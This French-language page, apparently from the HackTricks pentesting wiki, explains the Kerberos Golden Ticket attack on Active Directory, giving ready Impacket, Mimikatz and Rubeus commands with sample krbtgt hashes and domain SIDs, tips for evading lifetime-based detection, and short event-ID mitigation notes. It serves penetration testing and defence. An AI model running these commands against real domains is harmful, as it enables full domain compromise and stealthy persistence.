Golden Ticket
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Golden ticket
Une attaque Golden Ticket consiste en la création d'un Ticket Granting Ticket (TGT) légitime en usurpant n'importe quel utilisateur grùce à l'utilisation du hash NTLM du compte krbtgt de l'Active Directory (AD). Cette technique est particuliÚrement avantageuse car elle permet d'accéder à n'importe quel service ou machine au sein du domaine en tant qu'utilisateur usurpé. Il est crucial de se rappeler que les identifiants du compte krbtgt ne sont jamais mis à jour automatiquement.
Pour acquĂ©rir le hash NTLM du compte krbtgt, diverses mĂ©thodes peuvent ĂȘtre employĂ©es. Il peut ĂȘtre extrait du processus Local Security Authority Subsystem Service (LSASS) ou du fichier NT Directory Services (NTDS.dit) situĂ© sur n'importe quel contrĂŽleur de domaine (DC) au sein du domaine. De plus, exĂ©cuter une attaque DCsync est une autre stratĂ©gie pour obtenir ce hash NTLM, qui peut ĂȘtre rĂ©alisĂ©e Ă l'aide d'outils tels que le module lsadump::dcsync dans Mimikatz ou le script secretsdump.py par Impacket. Il est important de souligner que pour entreprendre ces opĂ©rations, des privilĂšges d'administrateur de domaine ou un niveau d'accĂšs similaire sont gĂ©nĂ©ralement requis.
Bien que le hash NTLM serve de méthode viable à cet effet, il est fortement recommandé de forger des tickets en utilisant les clés Kerberos Advanced Encryption Standard (AES) (AES128 et AES256) pour des raisons de sécurité opérationnelle.
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory
# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi
Une fois que vous avez le golden Ticket injecté, vous pouvez accéder aux fichiers partagés (C$) et exécuter des services et WMI, donc vous pourriez utiliser psexec ou wmiexec pour obtenir un shell (il semble que vous ne pouvez pas obtenir un shell via winrm).
Contournement des détections courantes
Les moyens les plus fréquents de détecter un golden ticket sont en inspectant le trafic Kerberos sur le réseau. Par défaut, Mimikatz signe le TGT pour 10 ans, ce qui se démarquera comme anormal dans les demandes TGS ultérieures faites avec celui-ci.
Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM
Utilisez les paramĂštres /startoffset
, /endin
et /renewmax
pour contrÎler le décalage de départ, la durée et le nombre maximum de renouvellements (tous en minutes).
Get-DomainPolicy | select -expand KerberosPolicy
Malheureusement, la durée de vie du TGT n'est pas enregistrée dans les 4769, donc vous ne trouverez pas cette information dans les journaux d'événements Windows. Cependant, ce que vous pouvez corréler est de voir des 4769 sans un précédent 4768. Il est impossible de demander un TGS sans un TGT, et s'il n'y a aucun enregistrement d'un TGT émis, nous pouvons en déduire qu'il a été forgé hors ligne.
Afin de contourner cette détection, vérifiez les tickets diamant :
Atténuation
- 4624 : Connexion de compte
- 4672 : Connexion administrateur
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List âProperty
D'autres petites astuces que les défenseurs peuvent faire est d'alerter sur les 4769 pour les utilisateurs sensibles tels que le compte administrateur de domaine par défaut.
Références
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets] (https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.